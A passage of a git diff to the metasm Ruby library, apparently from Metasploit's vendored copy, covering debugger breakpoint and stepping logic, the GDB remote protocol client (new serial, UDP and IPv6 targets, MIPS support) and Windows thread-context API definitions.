hwbp and singlestep - # checks if a hwbp matches, then call evt_hwbp, else call evt_singlestep (which - # will forward to evt_exception if singlestep does not match either) - def evt_hwbp_singlestep - if b = find_bp_hwbp - evt_hwbp(b) - else - evt_singlestep - end - end - - # called when the target stops due to a memory exception caused by a memory bp - # called by evt_exception - def evt_bpm(b) - @state = :stopped - @info = 'bpm' - - callback_bpm[b] if callback_bpm - - post_evt_bp(b) - end - - # return a bpm whose page coverage includes the fault described in info - def find_bp_bpm(info) - @breakpoint_memory[info[:fault_addr] & -0x1000] - end - - # returns true if the fault described in info is valid to trigger b - def check_bpm_range(b, info) - return if b.address+b.internal[:len] <= info[:fault_addr] - return if b.address >= info[:fault_addr] + info[:fault_len] - case b.internal[:type] - when :x; info[:fault_addr] == pc # XXX - when :r; info[:fault_access] == :r - when :w; info[:fault_access] == :w - when :rw; true - end - end - - # handles breakpoint conditions/callbacks etc - def post_evt_bp(b) - @breakpoint_cause = b - - found_valid_active = false - - # XXX may have many active bps with callback that continue/singlestep/singlestep{}... - b.hash_shared.dup.map { |bb| - # ignore inactive bps - next if bb.state != :active - - # ignore out-of-range bpms - next if bb.type == :bpm and not check_bpm_range(bb, b.internal) - - # check condition - case bb.condition - when nil; cd = 1 - when Proc; cd = bb.condition.call - when String, Expression; cd = resolve_expr(bb.condition) - else raise "unknown bp condition #{bb.condition.inspect}" - end - next if not cd or cd == 0 - - found_valid_active = true - - # oneshot - del_bp(bb) if bb.oneshot - - # callback - bb.action - }.compact.each { |cb| cb.call } - - # we did break due to a bp whose condition is not true: resume - # (unless a callback already resumed) - resume_badbreak(b) if not found_valid_active and @state == :stopped - end - - # called whenever the target stops due to an exception - # type may be: - # * 'access violation', :fault_addr, :fault_len, :fault_access (:r/:w/:x) - # anything else for other exceptions (access violation is special to handle bpm) - # ... - def evt_exception(info={}) - if info[:type] == 'access violation' and b = find_bp_bpm(info) - info[:fault_len] ||= 1 - b.internal.update info - return evt_bpm(b) - end - - @state = :stopped - @info = "exception #{info[:type]}" - - callback_exception[info] if callback_exception - - pass = pass_all_exceptions - pass = pass[info] if pass.kind_of? Proc - if pass - pass_current_exception - resume_badbreak - end - end - - def evt_newthread(info={}) - @state = :stopped - @info = 'new thread' - - callback_newthread[info] if callback_newthread - - ign = ignore_newthread - ign = ign[info] if ign.kind_of? Proc - if ign - continue - end - end - - def evt_endthread(info={}) - @state = :stopped - @info = 'end thread' - # mark the thread as to be deleted on next check_pre_run - @dead_thread = true - - callback_endthread[info] if callback_endthread - - ign = ignore_endthread - ign = ign[info] if ign.kind_of? Proc - if ign - continue - end - end - - def evt_newprocess(info={}) - @state = :stopped - @info = 'new process' - - callback_newprocess[info] if callback_newprocess - end - - def evt_endprocess(info={}) - @state = :stopped - @info = 'end process' - @dead_process = true - - callback_endprocess[info] if callback_endprocess - end - - def evt_loadlibrary(info={}) - @state = :stopped - @info = 'loadlibrary' - - callback_loadlibrary[info] if callback_loadlibrary - end - - # called when we did break due to a breakpoint whose condition is invalid - # resume execution as if we never stopped - # disable offending bp + singlestep if needed - def resume_badbreak(b=nil) - # ensure we didn't delete b - if b and b.hash_shared.find { |bb| bb.state == :active } - rm = @run_method - if rm == :singlestep - singlestep_bp(b) - else - @run_args = ra - singlestep_bp(b) { send rm, *ra } - end - else - send @run_method, *@run_args - end - end - - # singlesteps over an active breakpoint and run its block - # if the breakpoint provides an emulation stub, run that, otherwise - # disable the breakpoint, singlestep, and re-enable - def singlestep_bp(bp, &b) - if be = bp.hash_shared.find { |bb| bb.emul_instr } - @state = :stopped - be.emul_instr[self] - yield if block_given? - else - bp.hash_shared.each { |bb| - disable_bp(bb, :temp_inactive) if bb.state == :active - } - # this *should* work with different bps stopping the current instr - prev_sscb = @singlestep_cb - singlestep { - bp.hash_shared.each { |bb| - enable_bp(bb) if bb.state == :temp_inactive - } - prev_sscb[] if prev_sscb - yield if block_given? - } - end - end - - - # checks if the running target has stopped (nonblocking) - def check_target - do_check_target - end - - # waits until the running target stops (due to a breakpoint, fault, etc) - def wait_target - do_wait_target while @state == :running - end - - # resume execution of the target - # bypasses a software breakpoint on pc if needed - # thread breakpoints must be manually disabled before calling continue - def continue - if b = @breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } - singlestep_bp(b) { - next if not check_pre_run(:continue) - do_continue - } - else - return if not check_pre_run(:continue) - do_continue - end - end - alias run continue - - # continue ; wait_target - def continue_wait - continue - wait_target - end - - # resume execution of the target one instruction at a time - def singlestep(&b) - @singlestep_cb = b - bp = @breakpoint_cause - return if not check_pre_run(:singlestep) - if bp and bp.hash_shared.find { |bb| bb.state == :active } and be = bp.hash_shared.find { |bb| bb.emul_instr } - @state = :stopped - be.emul_instr[self] - invalidate - evt_singlestep(true) - else - do_singlestep - end - end - - # singlestep ; wait_target - def singlestep_wait(&b) - singlestep(&b) - wait_target - end - - # tests if the specified instructions should be stepover() using singlestep or - # by putting a breakpoint at next_addr - def need_stepover(di = di_at(pc)) - di and @cpu.dbg_need_stepover(self, di.address, di) - end - - # stepover: singlesteps, but do not enter in subfunctions - def stepover - di = di_at(pc) - if need_stepover(di) - bpx di.next_addr, true, Expression[:tid, :==, @tid] - continue - else - singlestep - end - end - - # stepover ; wait_target - def stepover_wait - stepover - wait_target - end - - # checks if an instruction should stop the stepout() (eg it is a return instruction) - def end_stepout(di = di_at(pc)) - di and @cpu.dbg_end_stepout(self, di.address, di) - end - - # stepover until finding the last instruction of the function - def stepout - # TODO thread-local bps - while not end_stepout - stepover - wait_target - end - do_singlestep - end - - # set a singleshot breakpoint, run the process, and wait - def go(target, cond=nil) - bpx(target, true, cond) - continue_wait - end - - # continue_wait until @state == :dead - def run_forever - continue_wait until @state == :dead - end - - # decode the Instruction at the address, use the @disassembler cache if available - def di_at(addr) - @disassembler.di_at(addr) || @disassembler.disassemble_instruction(addr) - end - - # list the general purpose register names available for the target - def register_list - @cpu.dbg_register_list - end - - # hash { register_name => register_size_in_bits } - def register_size - @cpu.dbg_register_size - end - - # retrieves the name of the register holding the program counter (address of the next instruction) - def register_pc - @cpu.dbg_register_pc - end - - # retrieve the name of the register holding the stack pointer - def register_sp - @cpu.dbg_register_sp - end - - # then name of the register holding the cpu flags - def register_flags - @cpu.dbg_register_flags - end - - # list of flags available in the flag register - def flag_list - @cpu.dbg_flag_list - end - - # retreive the value of the program counter register (eip) - def pc - get_reg_value(register_pc) - end - alias ip pc - - # change the value of pc - def pc=(v) - set_reg_value(register_pc, v) - end - alias ip= pc= - - # retrieve the value of the stack pointer register - def sp - get_reg_value(register_sp) - end - - # update the stack pointer - def sp=(v) - set_reg_value(register_sp, v) - end - - # retrieve the value of a flag (0/1) - def get_flag_value(f) - @cpu.dbg_get_flag(self, f) - end - - # retrieve the value of a flag (true/false) - def get_flag(f) - get_flag_value(f) != 0 - end - - # change the value of a flag - def set_flag_value(f, v) - (v && v != 0) ? set_flag(f) : unset_flag(f) - end - - # switch the value of a flag (true->false, false->true) - def toggle_flag(f) - set_flag_value(f, 1-get_flag_value(f)) - end - - # set the value of the flag to true - def set_flag(f) - @cpu.dbg_set_flag(self, f) - end - - # set the value of the flag to false - def unset_flag(f) - @cpu.dbg_unset_flag(self, f) - end - - # returns the name of the module containing addr or nil - def addr2module(addr) - @modulemap.keys.find { |k| @modulemap[k][0] <= addr and @modulemap[k][1] > addr } - end - - # returns a string describing addr in term of symbol (eg 'libc.so.6!printf+2f') - def addrname(addr) - (addr2module(addr) || '???') + '!' + - if s = @symbols[addr] ? addr : @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } - @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) - else '%08x' % addr - end - end - - # same as addrname, but scan preceding addresses if no symbol matches - def addrname!(addr) - (addr2module(addr) || '???') + '!' + - if s = @symbols[addr] ? addr : - @symbols_len.keys.find { |s_| s_ < addr and s_ + @symbols_len[s_] > addr } || - @symbols.keys.sort.find_all { |s_| s_ < addr and s_ + 0x10000 > addr }.max - @symbols[s] + (addr == s ? '' : ('+%x' % (addr-s))) - else '%08x' % addr - end - end - - # loads the symbols from a mapped module - def loadsyms(addr, name='%08x'%addr.to_i) - if addr.kind_of? String - modules.each { |m| - if m.path =~ /#{addr}/i - addr = m.addr - name = File.basename m.path - break - end - } - return if not addr.kind_of? Integer - end - return if not peek = @memory.get_page(addr, 4) - if peek == "\x7fELF" - cls = LoadedELF - elsif peek[0, 2] == "MZ" and @memory[addr+@memory[addr+0x3c,4].unpack('V').first, 4] == "PE\0\0" - cls = LoadedPE - else return - end - - begin - e = cls.load @memory[addr, 0x1000_0000] - e.load_address = addr - e.decode_header - e.decode_exports - rescue - # cache the error so that we dont hit it every time - @modulemap[addr.to_s(16)] ||= [addr, addr+0x1000] - return - end - - if n = e.module_name and n != name - name = n - end - - @modulemap[name] ||= [addr, addr+e.module_size] - - cnt = 0 - e.module_symbols.each { |n_, a, l| - cnt += 1 - a += addr - @disassembler.set_label_at(a, n_, false) - @symbols[a] = n_ # XXX store "lib!sym" ? - if l and l > 1; @symbols_len[a] = l - else @symbols_len.delete a # we may overwrite an existing symbol, keep len in sync - end - } - log "loaded #{cnt} symbols from #{name}" - - true - end - - # scan the target memory for loaded libraries, load their symbols - def scansyms(addr=0, max=@memory.length-0x1000-addr) - while addr <= max - loadsyms(addr) - addr += 0x1000 - end - end - - # load symbols from all libraries found by the OS module - def loadallsyms - modules.each { |m| - yield m.addr if block_given? - loadsyms(m.addr, m.path) - } - end - - # see Disassembler#load_map - def load_map(str, off=0) - str = File.read(str) if File.exist?(str) - sks = @disassembler.sections.keys.sort - str.each_line { |l| - case l.strip - when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style - a = $1.to_i(16) + off - n = $3 - when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style - # see Disassembler for comments - a = sks[$1.to_i(16)] + $2.to_i(16) + off - n = $3 - else next - end - @disassembler.set_label_at(a, n, false) - @symbols[a] = n - } - - end - - # parses the expression contained in arg - def parse_expr(arg) - parse_expr!(arg.dup) - end - - # parses the expression contained in arg, updates arg to point after the expr - def parse_expr!(arg) - return if not e = IndExpression.parse_string!(arg) { |s| - # handle 400000 -> 0x400000 - # XXX no way to override and force decimal interpretation.. - if s.length > 4 and not @disassembler.get_section_at(s.to_i) and @disassembler.get_section_at(s.to_i(16)) - s.to_i(16) - else - s.to_i - end - } - - # resolve ambiguous symbol names/hex values - bd = {} - e.externals.grep(::String).each { |ex| - if not v = register_list.find { |r| ex.downcase == r.to_s.downcase } || - (block_given? && yield(ex)) || symbols.index(ex) - lst = symbols.values.find_all { |s| s.downcase.include? ex.downcase } - case lst.length - when 0 - if ex =~ /^[0-9a-f]+$/i and @disassembler.get_section_at(ex.to_i(16)) - v = ex.to_i(16) - else - raise "unknown symbol name #{ex}" - end - when 1 - v = symbols.index(lst.first) - log "using #{lst.first} for #{ex}" - else - suggest = lst[0, 50].join(', ') - suggest = suggest[0, 125] + '...' if suggest.length > 128 - raise "ambiguous symbol name #{ex}: #{suggest} ?" - end - end - bd[ex] = v - } - e = e.bind(bd) - - e - end - - # resolves an expression involving register values and/or memory indirection using the current context - # uses #register_list, #get_reg_value, @mem, @cpu - # :tid/:pid resolve to current thread - def resolve_expr(e) - e = parse_expr(e) if e.kind_of? ::String - bd = { :tid => @tid, :pid => @pid } - Expression[e].externals.each { |ex| - next if bd[ex] - case ex - when ::Symbol; bd[ex] = get_reg_value(ex) - when ::String; bd[ex] = @symbols.index(ex) || 0 - end - } - Expression[e].bind(bd).reduce { |i| - if i.kind_of? Indirection and p = i.pointer.reduce and p.kind_of? ::Integer - i.len ||= @cpu.size/8 - p &= (1 << @cpu.size) - 1 if p < 0 - Expression.decode_imm(@memory, i.len, @cpu, p) - end - } - end - alias resolve resolve_expr - - # return/yield an array of [addr, addr symbolic name] corresponding to the current stack trace - def stacktrace(maxdepth=500, &b) - @cpu.dbg_stacktrace(self, maxdepth, &b) - end - - # accepts a range or begin/end address to read memory, or a register name - def [](arg0, arg1=nil) - if arg1 - arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer - arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer - @memory[arg0, arg1].to_str - elsif arg0.kind_of? ::Range - arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range - arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer - @memory[arg0].to_str - else - get_reg_value(arg0) - end - end - - # accepts a range or begin/end address to write memory, or a register name - def []=(arg0, arg1, val=nil) - arg1, val = val, arg1 if not val - if arg1 - arg0 = resolve_expr(arg0) if not arg0.kind_of? ::Integer - arg1 = resolve_expr(arg1) if not arg1.kind_of? ::Integer - @memory[arg0, arg1] = val - elsif arg0.kind_of? ::Range - arg0.begin = resolve_expr(arg0.begin) if not arg0.begin.kind_of? ::Integer # cannot happen, invalid ruby Range - arg0.end = resolve_expr(arg0.end) if not arg0.end.kind_of? ::Integer - @memory[arg0] = val - else - set_reg_value(arg0, val) - end - end - - - # read an int from the target memory, int of sz bytes (defaults to cpu.size) - def memory_read_int(addr, sz=@cpu.size/8) - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - Expression.decode_imm(@memory, sz, @cpu, addr) - end - - # write an int in the target memory - def memory_write_int(addr, val, sz=@cpu.size/8) - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - val = resolve_expr(val) if not val.kind_of? ::Integer - @memory[addr, sz] = Expression.encode_imm(val, sz, @cpu) - end - - # retrieve an argument (call at a function entrypoint) - def func_arg(nr) - @cpu.dbg_func_arg(self, nr) - end - def func_arg_set(nr, val) - @cpu.dbg_func_arg_set(self, nr, val) - end - - # retrieve a function returned value (call at func exitpoint) - def func_retval - @cpu.dbg_func_retval(self) - end - def func_retval_set(val) - @cpu.dbg_func_retval_set(self, val) - end - def func_retval=(val) - @cpu.dbg_func_retval_set(self, val) - end - - # retrieve a function return address (call at func entry/exit) - def func_retaddr - @cpu.dbg_func_retaddr(self) - end - def func_retaddr_set(addr) - @cpu.dbg_func_retaddr_set(self, addr) - end - def func_retaddr=(addr) - @cpu.dbg_func_retaddr_set(self, addr) - end - - def load_plugin(plugin_filename) - if not File.exist?(plugin_filename) and defined? Metasmdir - # try autocomplete - pf = File.join(Metasmdir, 'samples', 'dbg-plugins', plugin_filename) - if File.exist?(pf) - plugin_filename = pf - elsif File.exist?(pf + '.rb') - plugin_filename = pf + '.rb' - end - end - if not File.exist?(plugin_filename) and File.exist?(plugin_filename + '.rb') - plugin_filename += '.rb' - end - - instance_eval File.read(plugin_filename) - end - - # return the list of memory mappings of the current process - # array of [start, len, perms, infos] - def mappings - [[0, @memory.length]] - end - - # return a list of Process::Modules (with a #path, #addr) for the current process - def modules - [] - end - - # list debugged pids - def list_debug_pids - @pid_stuff.keys | [@pid].compact - end - - # return a list of OS::Process listing all alive processes (incl not debugged) - # default version only includes current debugged pids - def list_processes - list_debug_pids.map { |p| OS::Process.new(p) } - end - - # check if pid is valid - def check_pid(pid) - list_processes.find { |p| p.pid == pid } - end - - # list debugged tids - def list_debug_tids - @tid_stuff.keys | [@tid].compact - end - - # list of thread ids existing in the current process (incl not debugged) - # default version only lists debugged tids - alias list_threads list_debug_tids - - # check if tid is valid for the current process - def check_tid(tid) - list_threads.include?(tid) - end - - # see EData#pattern_scan - # scans only mapped areas of @memory, using os_process.mappings - def pattern_scan(pat, start=0, len=@memory.length-start) - ret = [] - mappings.each { |a, l, *o_| - a = start if a < start - l = start+len-a if a+l > start+len - next if l <= 0 - EncodedData.new(@memory[a, l]).pattern_scan(pat) { |o| - o += a - ret << o if not block_given? or yield(o) - } - } - ret - end -end end diff --git a/lib/metasm/metasm/os/remote.rb b/lib/metasm/metasm/os/remote.rb index dd50faa66f..2d733f6fe5 100644 --- a/lib/metasm/metasm/os/remote.rb +++ b/lib/metasm/metasm/os/remote.rb @@ -5,6 +5,7 @@ require 'metasm/os/main' +require 'metasm/debug' require 'socket' module Metasm @@ -23,9 +24,11 @@ class GdbClient def gdb_send(cmd, buf='') buf = cmd + buf buf = '$' << buf << '#' << gdb_csum(buf) + log "gdb_send #{buf.inspect}" if $DEBUG 5.times { @io.write buf + out = '' loop do break if not IO.select([@io], nil, nil, 0.2) raise Errno::EPIPE if not ack = @io.read(1) @@ -33,12 +36,15 @@ class GdbClient when '+' return true when '-' - puts "gdb_send: ack neg" if $DEBUG + log "gdb_send: ack neg" if $DEBUG break when nil return + else + out << ack end end + log "no ack, got #{out.inspect}" if out != '' } log "send error #{cmd.inspect} (no ack)" @@ -62,8 +68,18 @@ class GdbClient buf = nil while @recv_ctx - return unless IO.select([@io], nil, nil, timeout) - raise Errno::EPIPE if not c = @io.read(1) + if !@recv_ctx[:rbuf] + return unless IO.select([@io], nil, nil, timeout) + if @io.kind_of?(UDPSocket) + raise Errno::EPIPE if not @recv_ctx[:rbuf] = @io.recvfrom(65536)[0] + else + raise Errno::EPIPE if not c = @io.read(1) + end + end + if @recv_ctx[:rbuf] + c = @recv_ctx[:rbuf].slice!(0, 1) + @recv_ctx.delete :rbuf if @recv_ctx[:rbuf] == '' + end case @recv_ctx[:state] when :nosync @@ -107,11 +123,11 @@ class GdbClient end outstr << unhex($1) ret = gdb_readresp(timeout, outstr) - outstr.split("\n").each { |e| log 'gdb: ' + e } if first + outstr.split("\n").each { |o| log 'gdb: ' + o } if first return ret end - puts "gdb_readresp: got #{buf[0, 64].inspect}#{'...' if buf.length > 64}" if $DEBUG + log "gdb_readresp: got #{buf[0, 64].inspect}#{'...' if buf.length > 64}" if $DEBUG buf end @@ -232,9 +248,9 @@ class GdbClient case io when IO; @io = io - when /^udp:(.*):(.*?)$/i; @io = UDPSocket.new ; @io.connect($1, $2) - when /^(?:tcp:)?(.*):(.*?)$/i; @io = TCPSocket.open($1, $2) # XXX matches C:\fail - # TODO pipe, serial port, etc ; also check ipv6 + when /^ser:(.*)/i; @io = File.open($1, 'rb+') + when /^udp:\[?(.*)\]?:(.*?)$/i; @io = UDPSocket.new ; @io.connect($1, $2) + when /^(?:tcp:)?\[?(..+)\]?:(.*?)$/i; @io = TCPSocket.open($1, $2) else raise "unknown target #{io.inspect}" end @@ -242,6 +258,10 @@ class GdbClient end def gdb_setup + pnd = '' + pnd << @io.read(1) while IO.select([@io], nil, nil, 0.2) + log "startpending: #{pnd.inspect}" if pnd != '' + gdb_msg('q', 'Supported') #gdb_msg('Hc', '-1') #gdb_msg('qC') @@ -295,17 +315,22 @@ class GdbClient attr_accessor :logger, :quiet def log(s) + puts s if $DEBUG and logger return if quiet - @logger ||= $stdout - @logger.puts s + logger ? logger.log(s) : puts(s) end + attr_accessor :ptrsz + # setup the various function used to pack ints & the reg list # according to a target CPU def setup_arch(cpu) + @ptrsz = cpu.size + case cpu.shortname - when 'ia32' + when /^ia32/ + @ptrsz = 32 @gdbregs = GDBREGS_IA32 @regmsgsize = 4 * @gdbregs.length when 'x64' @@ -314,6 +339,9 @@ class GdbClient when 'arm' @gdbregs = cpu.dbg_register_list @regmsgsize = 4 * @gdbregs.length + when 'mips' + @gdbregs = cpu.dbg_register_list + @regmsgsize = cpu.size/8 * @gdbregs.length else # we can still use readmem/kill and other generic commands # XXX serverside setregs may fail if we give an incorrect regbuf size @@ -324,7 +352,7 @@ class GdbClient # yay life ! # do as if cpu is littleendian, fixup at the end - case cpu.size + case @ptrsz when 16 @pack_netint = lambda { |i| i.pack('n*') } @unpack_netint = lambda { |s| s.unpack('n*') } @@ -345,7 +373,7 @@ class GdbClient @pack_netint, @pack_int = @pack_int, @pack_netint @unpack_netint, @unpack_int = @unpack_int, @unpack_netint end - else raise "GdbServer: unsupported cpu size #{cpu.size}" + else raise "GdbServer: unsupported cpu size #{@ptrsz}" end # if target cpu is bigendian, use netint everywhere @@ -362,7 +390,7 @@ class GdbRemoteString < VirtualString def initialize(gdb, addr_start=0, length=nil) @gdb = gdb - length ||= 1 << (@gdb.cpu.size rescue 32) + length ||= 1 << (@gdb.ptrsz || 32) @pagelength = 512 super(addr_start, length) end @@ -389,17 +417,55 @@ end # this class implements a high-level API using the gdb-server network debugging protocol class GdbRemoteDebugger < Debugger - attr_accessor :gdb, :check_target_timeout + attr_accessor :gdb, :check_target_timeout, :reg_val_cache def initialize(url, cpu='Ia32') + super() + @tid_stuff_list << :reg_val_cache << :regs_dirty @gdb = GdbClient.new(url, cpu) @gdb.logger = self - @cpu = @gdb.cpu - @memory = GdbRemoteString.new(@gdb) - @reg_val_cache = {} - @regs_dirty = false # when checking target, if no message seen since this much seconds, send a 'status' query @check_target_timeout = 1 + set_context(28, 28) + end + + def check_pid(pid) + # return nil if pid == nil + pid + end + def check_tid(tid) + tid + end + + def list_processes + [@pid].compact + end + def list_threads + [@tid].compact + end + + def mappings + [] + end + + def modules + [] + end + + + def initialize_newtid super() + @reg_val_cache = {} + @regs_dirty = false + end + + attr_accessor :realmode + def initialize_cpu + @cpu = @gdb.cpu + @realmode = true if @cpu and @cpu.shortname =~ /^ia32_16/ + end + + def initialize_memory + @memory = GdbRemoteString.new(@gdb) end def invalidate @@ -409,12 +475,24 @@ class GdbRemoteDebugger < Debugger end def get_reg_value(r) + r = r.to_sym return @reg_val_cache[r] || 0 if @state != :stopped sync_regs @reg_val_cache = @gdb.read_regs || {} if @reg_val_cache.empty? + if realmode + case r + when :eip; seg = :cs + when :esp; seg = :ss + else seg = :ds + end + # XXX seg override + return @reg_val_cache[seg].to_i*16 + @reg_val_cache[r].to_i + end @reg_val_cache[r] || 0 end def set_reg_value(r, v) + r = r.to_sym + # XXX realmode @reg_val_cache[r] = v @regs_dirty = true end @@ -426,37 +504,49 @@ class GdbRemoteDebugger < Debugger def do_check_target return if @state == :dead + + # keep-alive on the connexion t = Time.now @last_check_target ||= t if @state == :running and t - @last_check_target > @check_target_timeout @gdb.io.write '$?#' << @gdb.gdb_csum('?') @last_check_target = t end + return unless i = @gdb.check_target(0.01) - invalidate if i[:state] == :stopped and @state != :stopped - @state, @info = i[:state], i[:info] - @info = nil if @info =~ /TRAP/ + update_state(i) + true end def do_wait_target return unless i = @gdb.check_target(nil) - invalidate if i[:state] == :stopped and @state != :stopped - @state, @info = i[:state], i[:info] - @info = nil if @info =~ /TRAP/ + update_state(i) + end + + def update_state(i) + @info = (i[:info] if i[:info] !~ /TRAP/) + if i[:state] == :stopped and @state != :stopped + invalidate + @state = i[:state] + case @run_method + when :singlestep + evt_singlestep + else + evt_bpx # XXX evt_hwbp? + end + else + @state = i[:state] + end end def do_continue(*a) - return if @state != :stopped @state = :running - @info = 'continue' @gdb.continue @last_check_target = Time.now end def do_singlestep(*a) - return if @state != :stopped @state = :running - @info = 'singlestep' @gdb.singlestep @last_check_target = Time.now end @@ -467,53 +557,52 @@ class GdbRemoteDebugger < Debugger def kill(sig=nil) # TODO signal nr - @gdb.kill @state = :dead - @info = 'killed' + @gdb.kill end def detach - super() # remove breakpoints & stuff - @gdb.detach - @state = :dead - @info = 'detached' + del_all_breakpoints + del_pid end - - # set to true to use the gdb msg to handle bpx, false to set 0xcc ourself + + # set to true to use the gdb msg to handle bpx, false to set 0xcc manually ourself attr_accessor :gdb_bpx - def enable_bp(addr) - return if not b = @breakpoint[addr] - b.state = :active + def do_enable_bp(b) case b.type + when :bpm + do_enable_bpm(b) when :bpx if gdb_bpx - @gdb.set_hwbp('s', addr, 1) + @gdb.set_hwbp('s', b.address, 1) else - @cpu.dbg_enable_bp(self, addr, b) + @cpu.dbg_enable_bp(self, b) end - when :hw - @gdb.set_hwbp(b.mtype, addr, b.mlen) + when :hwbp + @gdb.set_hwbp(b.internal[:type], b.address, b.internal[:len]) end end - def disable_bp(addr) - return if not b = @breakpoint[addr] - b.state = :inactive + def do_disable_bp(b) case b.type + when :bpm + do_disable_bpm(b) when :bpx if gdb_bpx - @gdb.unset_hwbp('s', addr, 1) + @gdb.unset_hwbp('s', b.address, 1) else - @cpu.dbg_disable_bp(self, addr, b) + @cpu.dbg_disable_bp(self, b) end - when :hw - @gdb.unset_hwbp(b.mtype, addr, b.mlen) + when :hwbp + @gdb.unset_hwbp(b.internal[:type], b.address, b.internal[:len]) end end def check_pre_run(*a) - sync_regs - super(*a) + if ret = super(*a) + sync_regs + ret + end end def loadallsyms diff --git a/lib/metasm/metasm/os/windows.rb b/lib/metasm/metasm/os/windows.rb index 74d20f717b..f8322f85ed 100644 --- a/lib/metasm/metasm/os/windows.rb +++ b/lib/metasm/metasm/os/windows.rb @@ -4,6 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory require 'metasm/os/main' +require 'metasm/debug' require 'metasm/dynldr' module Metasm @@ -125,6 +126,12 @@ typedef void *HMODULE; #define DBG_CONTROL_C ((DWORD )0x40010005L) #define DBG_CONTROL_BREAK ((DWORD )0x40010008L) #define DBG_COMMAND_EXCEPTION ((DWORD )0x40010009L) +#define STATUS_WX86_CONTINUE ((DWORD )0x4000001DL) +#define STATUS_WX86_SINGLE_STEP ((DWORD )0x4000001EL) +#define STATUS_WX86_BREAKPOINT ((DWORD )0x4000001FL) +#define STATUS_WX86_EXCEPTION_CONTINUE ((DWORD )0x40000020L) +#define STATUS_WX86_EXCEPTION_LASTCHANCE ((DWORD )0x40000021L) +#define STATUS_WX86_EXCEPTION_CHAIN ((DWORD )0x40000022L) #define STATUS_GUARD_PAGE_VIOLATION ((DWORD )0x80000001L) #define STATUS_DATATYPE_MISALIGNMENT ((DWORD )0x80000002L) #define STATUS_BREAKPOINT ((DWORD )0x80000003L) @@ -416,7 +423,7 @@ typedef struct _CONTEXT_AMD64 { XMMREG Vector[26]; DWORD64 VectorControl; - + DWORD64 DebugControl; DWORD64 LastBranchToRip; DWORD64 LastBranchFromRip; @@ -490,6 +497,10 @@ typedef struct _PROCESS_INFORMATION { } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION; +WINAPI +DWORD +GetVersion(VOID); + WINBASEAPI HANDLE WINAPI @@ -1033,7 +1044,7 @@ OpenThreadToken ( __out HANDLE *TokenHandle); EOS SE_DEBUG_NAME = 'SeDebugPrivilege' - + new_api_c < 0 @@ -1273,7 +1285,7 @@ class WinOS < OS WinAPI::PAGE_EXECUTE_READWRITE => 'rwx', WinAPI::PAGE_EXECUTE_WRITECOPY => 'rwx' }[info[:protect] & 0xff] - prot << 'g' if info[:protect] & WinAPI::PAGE_GUARD > 0 + prot = prot.sub('r', '-') + 'g' if info[:protect] & WinAPI::PAGE_GUARD > 0 prot << 'p' if info[:type] & WinAPI::MEM_PRIVATE > 0 if h = hcache[info.baseaddress] @@ -1301,7 +1313,7 @@ class WinOS < OS @peb_base ||= if WinAPI.respond_to?(:ntqueryinformationprocess) pinfo = WinAPI.alloc_c_struct('PROCESS_BASIC_INFORMATION') - if WinAPI.ntqueryinformationprocess(handle, WinAPI::PROCESSBASICINFORMATION, pinfo, pinfo.length, 0) == 0 + if WinAPI.ntqueryinformationprocess(handle, WinAPI::PROCESSBASICINFORMATION, pinfo, pinfo.sizeof, 0) == 0 pinfo.pebbaseaddress end else @@ -1336,7 +1348,7 @@ class WinOS < OS @teb_base ||= if WinAPI.respond_to?(:ntqueryinformationthread) tinfo = WinAPI.alloc_c_struct('THREAD_BASIC_INFORMATION') - if WinAPI.ntqueryinformationthread(handle, WinAPI::THREADBASICINFORMATION, tinfo, tinfo.length, 0) == 0 + if WinAPI.ntqueryinformationthread(handle, WinAPI::THREADBASICINFORMATION, tinfo, tinfo.sizeof, 0) == 0 tinfo.tebbaseaddress end else @@ -1373,10 +1385,12 @@ class WinOS < OS @context ||= Context.new(self, :all) if block_given? suspend - @context.update - ret = yield @context - resume - ret + begin + @context.update + yield @context + ensure + resume + end else @context end @@ -1386,28 +1400,34 @@ class WinOS < OS class Context def initialize(thread, kind=:all) @handle = thread.handle - tg = thread.process ? thread.process.addrsz : 32 - case WinAPI.host_cpu.shortname - when 'ia32', 'x64'; tg = ((tg == 32) ? 'ia32' : 'x64') + tg = (thread.process ? thread.process.addrsz : 32) + hcpu = WinAPI.host_cpu.shortname + case hcpu + when 'ia32', 'x64' else raise "unsupported architecture #{tg}" end @getcontext = :getthreadcontext @setcontext = :setthreadcontext case tg - when 'ia32' + when 32 @context = WinAPI.alloc_c_struct('_CONTEXT_I386') @context.contextflags = WinAPI::CONTEXT_I386_ALL - if WinAPI.host_cpu.shortname == 'x64' + if hcpu == 'x64' @getcontext = :wow64getthreadcontext @setcontext = :wow64setthreadcontext end - when 'x64' + when 64 @context = WinAPI.alloc_c_struct('_CONTEXT_AMD64') @context.contextflags = WinAPI::CONTEXT_AMD64_ALL end end + # retrieve the actual context structure (so we can pass to API's like StackWalk64) + def c_struct + @context + end + # update the context to reflect the current thread reg values # call only when the thread is suspended def update @@ -1418,15 +1438,17 @@ class WinOS < OS case k.to_s when /^[cdefgs]s$/i @context["seg#{k}"] - when /^st(\d*)/i + when /^st(\d?)$/i v = @context['st'][$1.to_i] - buf = v.str[v.str_off, 10] + buf = v.str[v.stroff, 10] # TODO check this, 'D' is 8byte wide buf.unpack('D')[0] - when /^xmm(\d+)/i + # TODO when /^ymm(\d+)$/i + when /^xmm(\d+)$/i v = @context['xmm'][$1.to_i] (v.hi << 64) | v.lo - when /^mmx?(\d+)/i + when /^mmx?(\d)$/i + # XXX probably in st(0/7) @context['xmm'][$1.to_i].lo else @context[k] @@ -1437,15 +1459,17 @@ class WinOS < OS case k.to_s when /^[cdefgs]s$/i @context["seg#{k}"] = v - when /^st(\d*)/i + when /^st(\d?)$/i # TODO check this, 'D' is 8byte wide buf = [v, 0, 0].pack('DCC') @context['st'][$1.to_i][0, 10] = buf - when 